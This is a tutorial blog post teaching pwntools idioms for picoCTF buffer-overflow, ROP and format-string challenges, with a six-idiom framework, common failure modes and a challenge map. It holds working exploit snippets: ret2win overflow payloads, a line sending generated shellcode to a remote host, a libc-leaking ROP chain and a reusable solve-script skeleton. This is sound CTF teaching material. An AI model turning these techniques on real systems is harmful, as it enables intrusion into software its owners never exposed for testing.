The kitchen sink, explained
Here is the very first code example on the official pwntools README:
from pwn import *context(arch = 'i386', os = 'linux')r = remote('exploitme.example.com', 31337)r.send(asm(shellcraft.sh()))r.interactive()
Six lines. Five separate sub-modules: tubes (remote, interactive), context, asm (the assembler), and shellcraft (the shellcode generator). The pwntools maintainers call this design the "kitchen sink approach" and they are not wrong. The Getting Started page introduces six sub-modules in the first fifteen lines, before it shows you one complete exploit. That isn't your fault. That's the design.
I read eight real picoCTF buffer-overflow and ROP writeups while drafting this guide. The pattern was the same in every one. The script worked once, the next challenge broke a different piece of it, and the docs were too big to skim under a CTF clock. The reason is simple. pwntools is not really one library. It's four libraries pretending to be one, plus a utility belt, plus a few specialists you do not need on day one.
pwntools isn't one library. It's four pillars plus a utility belt. The tutorials teach all of it at once and then we wonder why beginners are confused.
The four pillars are simple, and once you see them you can't un-see them:
Knows about: Sockets, processes, SSH, prompts, line endings.
Does not know about: Your binary, your symbols, your gadgets.
Knows about: Symbol addresses, PIE base, the BSS (uninitialised data) section, .text bytes.
Does not know about: The remote process or the wire.
Knows about: Gadgets (small code snippets ending in ret), calling conventions, i386/amd64.
Does not know about: How the chain reaches the target.
Knows about: gdbscript (auto-typed gdb commands), terminals, breakpoints, ptrace.
Does not know about: What you're trying to prove with the breakpoint.
Wrap them with a utility belt (p32/p64, cyclic, context) that everything else depends on, and a few specialists you can pick up later (shellcraft, fmtstr, dynelf, libcdb). That's the whole library. Six idioms get you from import to shell.
The six idioms that cover 90% of pwn
The order matters. Idioms 1 and 2 stand alone. Idiom 3 (ELF) is what makes idioms 4 and 5 worth using. Idiom 6 (context) ties everything together and quietly fixes most of the bugs in sections 1 through 5. Skip context and you will spend an afternoon debugging a 32-bit pack on a 64-bit binary.
| Idiom | Pillar | What it does | One-line example |
|---|---|---|---|
| 1 | Tubes | Open the connection, drive the prompts. | io = remote(host, port) |
| 2 | Utility | Pack integers, generate de Bruijn patterns. | payload = b"A"*72 + p64(elf.symbols["win"]) |
| 3 | ELF | Resolve symbols, GOT, PLT, set PIE base. | elf.symbols["win"] |
| 4 | ROP | Build a chain by name instead of by hand. | rop.call("system", [binsh]) |
| 5 | GDB | Drop into pwndbg with breakpoints preset. | gdb.attach(io, "b *win\nc") |
| 6 | Utility | One line that absorbs arch, bits, endianness. | context.binary = exe |
For calibration on real-world practice: of eight picoCTF buffer-overflow and ROP writeups I sampled, eight out of eight used from pwn import * and p32/p64; six out of eight used ELF for symbol lookup; only two set context.binary; and exactly one used the ROP() object instead of pasting hex addresses by hand. Real picoCTF scripts are scrappier than the docs idealize, and that gap is where this guide spends time. The polished idiom ships as the default below; the scrappy reality shows up in the failure modes and the picoCTF mapping at the end.
Idiom 1: Tubes
Pillar 1 of 4. Tubes know: sockets, processes, line endings, prompts. Tubes don't know: your binary, your symbols, your gadgets.
A tube is pwntools' word for any I/O channel. process('./vuln') gives you a local subprocess. remote(host, port) gives you a TCP connection. ssh(...) gives you a remote shell. The same methods work on all of them, which is the whole point.
The minimum useful tube vocabulary is six methods.
io = process('./vuln') # localio = remote('saturn.picoctf.net', 50123) # remote (TCP)io.recvuntil(b'? ') # read until a promptio.recvline() # read one line, drop the \nio.send(b'A' * 72) # raw bytes, no newlineio.sendline(b'PAYLOAD') # bytes + newlineio.sendlineafter(b'? ', b'PAYLOAD') # the recvuntil+sendline comboio.interactive() # hand control to the user
The single most useful idiom is the last one. sendlineafterreads up to and including the prompt, then sends your payload with a newline. It's the entire local-prompt-handling pattern in one method, and you will type it more than any other tube call.
The toggle pattern for switching between local and remote:
from pwn import *exe = ELF('./vuln')def conn():if args.REMOTE:return remote('saturn.picoctf.net', 50123)return process(exe.path)io = conn()# python3 exploit.py REMOTE # remote run# python3 exploit.py # local run
argsis pwntools' magic CLI parser. Pass any uppercase word on the command line (python3 solve.py REMOTE GDB) and it appears as a truthy attribute on args. HOST=... and PORT=... set string values. No argparse setup, no sys.argvindexing. This kills the "flip a bool at the top of the file" anti-pattern that appeared in two of the eight writeups I sampled. Once you write it, you stop touching the script to deploy.
process(...) uses a pseudo-tty for stdout, which interacts badly with glibc line buffering once the program writes more than ~4096 bytes (pwntools issue #1038). If recvuntil hangs forever and strace says the bytes are already there, switch to process('./vuln', stdout=PIPE). Three hours of my life I am not getting back.Idiom 2: Packing and cyclic
Utility belt. Knows: integers, bytes, de Bruijn patterns. Doesn't know: your binary or the running process.
p32 and p64 pack integers into little-endian byte strings. u32 and u64 reverse the operation. Nobody who has used pwntools for a week still types struct.pack("<Q", ...).
p32(0x080491f6) # b'\xf6\x91\x04\x08'p64(0x4011a3) # b'\xa3\x11\x40\x00\x00\x00\x00\x00'u64(b'\xa3\x11\x40\x00\x00\x00\x00\x00') # 0x4011a3# Compose the classic ret2win payloadpayload = b'A' * 72 + p64(elf.symbols['win'])
The other half of the utility belt is offset discovery. cyclic(N) generates a de Bruijn sequence of length N, where every 4-byte (or 8-byte) substring is unique. Send it as your overflow input, the program crashes, and Linux drops a core file (a memory snapshot of the dead process). pwntools reads the core file via io.corefile, gives you back the saved instruction pointer (core.eip on 32-bit, the qword at core.rsp on 64-bit), and cyclic_find reverses the lookup. Because every substring is unique, the bytes that landed on the return address tell you exactly which offset in your payload they came from.
io = process('./vuln')io.sendline(cyclic(200)) # de Bruijn patternio.wait() # let it crashcore = io.corefile# 32-bit binaryoffset = cyclic_find(core.eip) # default n=4# 64-bit binary -- the gotchaoffset = cyclic_find(core.read(core.rsp, 8), n=8)
cyclic_find defaults to n=4, the 32-bit pattern length. On a 64-bit binary you must pass n=8, even if you've already set context.arch = 'amd64'. Skipping it gives you a misleading ValueError from pack() instead of a useful error (issue #1965). It's the silent culprit behind a long thread of "why does my 64-bit exploit not work" tickets in the tracker.Idiom 3: ELF
Pillar 2 of 4. ELF knows: the binary on disk, every symbol, every section, the byte at every offset. ELF doesn't know:the running process, the wire, or anything you haven't leaked yet.
The ELF (Executable and Linkable Format) pillar reads your binary and gives you back a Python object whose attributes are the things you actually want: symbol addresses, GOT (Global Offset Table) entries, PLT (Procedure Linkage Table) entries, the BSS section, search-for-bytes. ELF is the difference between hardcoding 0x080491f6 at the top of your script and writing elf.symbols['win'].
exe = ELF('./vuln')exe.symbols['win'] # any symbol from the tableexe.got['puts'] # GOT entry (run-time function pointer)exe.plt['puts'] # PLT entry (the stub you can ret to)exe.entry # _startnext(exe.search(b'/bin/sh\x00')) # find a byte sequence# PIE binary -- set the leaked base, every symbol relocatesexe.address = leak - exe.symbols['main']
The PLT/GOT split trips beginners up. Quick gloss: plt['puts'] is the address of a thunk in your binary that calls puts through the GOT. got['puts'] is the location of the function pointer the thunk reads. You return to the PLT to call puts; you read the GOT to leak libc. They are not interchangeable.
The single most underrated line in pwntools is exe.address = LEAK. A PIE (Position-Independent Executable) binary randomizes the base address every run, which means every symbol moves with it; elf.symbols['win'] before the leak is just an offset from zero, not a usable address. A leak in this context is any address you can read out of the running process: a stack frame pointer printed by a buggy printf, a libc function address dumped by puts(puts@got), anything that lets you compute the runtime base. Once you have one, that one assignment relocates every symbol in the ELF in place, so exe.symbols['win'] becomes correct again. The ASLR/PIE post covers the leak mechanics in depth; this is the line that consumes the leak.
Idiom 4: ROP
Pillar 3 of 4. ROP knows: ELFs, gadgets, calling conventions. ROP doesn't know: tubes, processes, how the chain reaches the target.
A ROP chain is a sequence of small instruction snippets (gadgets) ending in ret, strung together to simulate a series of function calls when the stack itself is non-executable. Pwntools' ROP pillar builds those chains by name instead of by address: you hand it an ELF (or a libc, the C standard library that ships with the target Linux box), tell it what function you want called with which arguments, and it picks the gadgets. It only works on i386 and amd64, which is fine because that's 99% of what picoCTF gives you.
from pwn import *exe = ELF('./vuln')libc = ELF('./libc.so.6')rop = ROP([exe, libc])rop.call('puts', [exe.got['puts']]) # leak libc addressrop.call('main') # come back to read morerop.dump() # human-readable previewpayload = b'A' * 72 + rop.chain()
rop.dump()is the part nobody mentions in the tutorials. It prints the chain as a labelled stack with addresses, gadget mnemonics, and your raw values. The first time a chain didn't fire and I ran rop.dump(), I found I was one quadword off because the binary needed a stack-alignment pad. Took me thirty seconds. Without the dump, that's a half-hour gdb session.
ROP's gadget accessors fail silently. rop.rdi returns None if no pop rdi; ret exists in your ELF, and the next line that uses it crashes with TypeError. Always print or assert before composing.Reality check: out of the eight picoCTF writeups I read, exactly one used the ROP() object. The rest manually hardcoded gadget addresses from ROPgadget output and called p32(...) on each one. The library is better than the practice. If you want the deeper tour, the ROP without libc post covers ret2plt, ret2syscall, ret2csu, ret2dlresolve, and SROP, all built with the object form.
Idiom 5: gdb.attach
Pillar 4 of 4. GDB knows:the live process, breakpoints, registers, your tube's pid. GDB doesn't know: what your exploit is actually trying to prove.
The GDB pillar gives you three entry points. gdb.attach(io, gdbscript=...) attaches to a process tube you already have. gdb.debug(args, gdbscript=...) launches the binary under gdbserver. gdb.debug_shellcode wraps shellcode in an ELF and debugs that. For 95% of CTFs, you want gdb.attach.
from pwn import *exe = context.binary = ELF('./vuln')io = process(exe.path)gdb.attach(io, gdbscript='''b *vuln+42c''')io.sendline(b'A' * 100)io.interactive()
The script runs your tube and your debugger in the same process. The pwndbg or GEF window opens in a separate terminal, hits the breakpoint you set, and waits. You step through the crash while your script feeds the input that triggered it. Every other way of doing this is worse.
context.terminal set or pwntools cannot open the debugger window. The error "cannot find shell" logged by issue #1010 is the canonical symptom on a fresh install. Set it once in your shell rc: context.terminal = ['tmux', 'splitw', '-h'] for tmux, ['kitty', '@', 'launch'] for kitty, etc. pwntools handles the kernel ptrace_scope bypass automatically once the terminal works.Idiom 6: context
Connective tissue. Context knows: arch, bits, endianness, log level, terminal. It's the only piece that touches all four pillars at once.
context is a global object that holds target architecture, bit width, endianness, OS, default timeout, log level, and the terminal pwntools should spawn for gdb. Almost every other call in the library reads from it. Setting it correctly is the one line that makes 80% of beginner bugs disappear.
context.binary = ELF('./vuln')# That's it. The above call sets:# context.arch = 'amd64'# context.bits = 64# context.endian = 'little'# context.os = 'linux'# Manual overrides if you really need themcontext.log_level = 'debug' # show every send/recvcontext.terminal = ['tmux', 'splitw', '-h']
Once context.binary is set, p64, shellcraft.sh(), and the cyclic pattern all switch to 64-bit automatically. context.log_level = 'debug' is the most useful debugging line in the library; it prints every byte sent and received with a hex dump so you can see exactly which prompt your recvuntil is actually catching.
If your exploit works locally and fails on remote, it's a libc mismatch or a newline. Bet on the libc mismatch. Bet on the newline second.
What still trips people up
pwntools has a sensible default and a less-sensible default, and the less-sensible default is the silent one. The library doesn't warn you. The fix is almost always one keyword argument. The bug is almost always time you didn't plan to spend.
Five recurring failure modes, each with a real GitHub issue receipt. If your script is misbehaving and you don't know why, this is the order to check.
- cyclic_find on a 64-bit binary without n=8. The default pattern length is 4, so
cyclic_find(0x6261616a)returns a number on a 32-bit binary and a confusingValueErrorfrompack()on 64-bit (#1965). Fix:cyclic_find(needle, n=8). - recvuntil hangs after ~4096 bytes.
process(...)defaults tostdout=PTY, which trips glibc line buffering once the program emits more than a page of output (#1038). Fix:process('./vuln', stdout=PIPE). - recvline drops the last line if it has no newline. If the flag is the last line and the program doesn't print a trailing
\n, your loop misses it and you waste an afternoon (#2366). Fix:io.recvall()after the last useful read. - gdb.attach silently does nothing. No terminal configured, no ptrace permission, no error you can read. The error handling itself was buggy until 4.2.0b0 (#1514). Fix: pin pwntools 4.15.0+ (October 2025 release), set
context.terminal, and run a sanity check withgdb.attach(io, 'c')on a hello-world process before you start exploiting. - Local works, remote crashes with garbage. Almost always a libc version mismatch: your
system()offset on the local glibc is not the offset on the picoCTF VM. Fix: download the remotelibc.so.6with pwninit, load it as a second ELF, and resolvesystemagainst that.
picoCTF challenges, mapped to idioms
Every picoCTF pwn challenge below uses two or more of the six idioms. None uses all six. The interesting column is the last one: each challenge has a specific trap that will eat an hour if you don't see it coming, and the trap is almost always the idiom the challenge stresses hardest.
| Challenge | New idiom it stresses | Trap on this one | Companion post |
|---|---|---|---|
| buffer overflow 1 | ELF.symbols (ret2win) | cyclic_find default n=4 silently truncates on amd64. | Buffer Overflow |
| buffer overflow 2 | Argument passing (one int) | x86 cdecl arg goes on the stack after the return address; off-by-one is common. | Buffer Overflow |
| ROPfu | ROP (full chain, NX, no win) | rop.dump() reveals you're missing a stack-alignment pad before system. | ROP without libc |
| format string 1 | fmtstr (specialist library) | Manual %hn arithmetic when one fmtstr_payload call would do it. | Format String |
| format string 2 | fmtstr_payload (writes via GOT) | Forgetting checksec=False means a noisy banner on every iteration of a brute-force. | Format String |
| PIE TIME | elf.address = LEAK | Forgetting to subtract elf.symbols['main'] from the leak before the assignment. | ASLR/PIE Bypass |
| heap 2 | All four pillars + context | Local glibc has a different tcache layout than the picoCTF VM; pwninit the libc. | Heap Exploitation |
| gdb test drive | gdb.attach + gdbscript | context.terminal isn't set, so the new window never opens. | GDB CTF Guide |
| offset-cycle | cyclic + cyclic_find (n=8) | Reading the leaked qword as little-endian instead of letting cyclic_find pack it. | (no companion post yet) |
Quick reference
One file. Six idioms. Most picoCTF pwn challenges fit in this skeleton.
#!/usr/bin/env python3from pwn import *# Idiom 6: context absorbs arch / bits / endianness from the binaryexe = context.binary = ELF('./vuln')# libc = ELF('./libc.so.6') # uncomment for libc challenges# Idiom 1: tubes (with REMOTE/LOCAL toggle via args.*)def conn():if args.REMOTE:return remote(args.HOST or 'saturn.picoctf.net', int(args.PORT or 50123))if args.GDB:return gdb.debug(exe.path, gdbscript='b *win\nc')return process(exe.path)io = conn()# Idiom 2: pack + cyclic offset discovery (n=8 on 64-bit!)OFFSET = 72# Idiom 3: ELF symbolswin = exe.symbols['win']# Idiom 4: ROP, the canonical form# rop = ROP(exe)# rop.call('system', [next(exe.search(b'/bin/sh\x00'))])# payload = b'A' * OFFSET + rop.chain()payload = b'A' * OFFSET + p64(win)io.sendlineafter(b'? ', payload)# Idiom 5: drop into the debugger if you asked for it# gdb.attach(io, 'c')io.interactive()
Save it as solve.py. python3 solve.py runs local. python3 solve.py REMOTE HOST=... runs remote. python3 solve.py GDBdrops into pwndbg with your breakpoint preset. You'll edit the offset, the symbol, and the prompt string. The shape of the file stays the same for months.
The drill, if you want one. Open buffer overflow 1. Cyclic-find the offset, set context.binary, jump to elf.symbols['win']. Then format string 1 with fmtstr_payload. Then ROPfu with the ROP()object instead of pasting hex addresses. By the third script, you'll wonder why anyone hand-rolls anymore.
Sources and further reading
- pwntools 4.15.0 documentation (the canonical reference; the "kitchen sink" framing is in the Getting Started page).
- Gallopsled/pwntools-tutorial on GitHub (the official chapter-by-chapter walkthrough, recommended order: installing, tubes, utility, bytes, context, elf, assembly, debugging, rop, logging, leaking).
- Gallopsled/pwntools (4.15.0, MIT, released October 2025).
- GitHub issues referenced for the "what trips people up" section: #1965 (cyclic_find n=4), #1038 (PTY hang), #2366 (recvline drops last line), #1010 (gdb.attach "cannot find shell"), #1514 (gdb.attach error masking).
- Real picoCTF writeups consulted for the idiom catalog: HHousen 2022 buffer overflow 1, Cajac 2024 format string 2, AdvDebug ROPfu, cyb3rwhitesnake Here's a Libc.
- pwninit (the standard tool for downloading remote libc and patchelf-ing the binary, used in failure mode 5).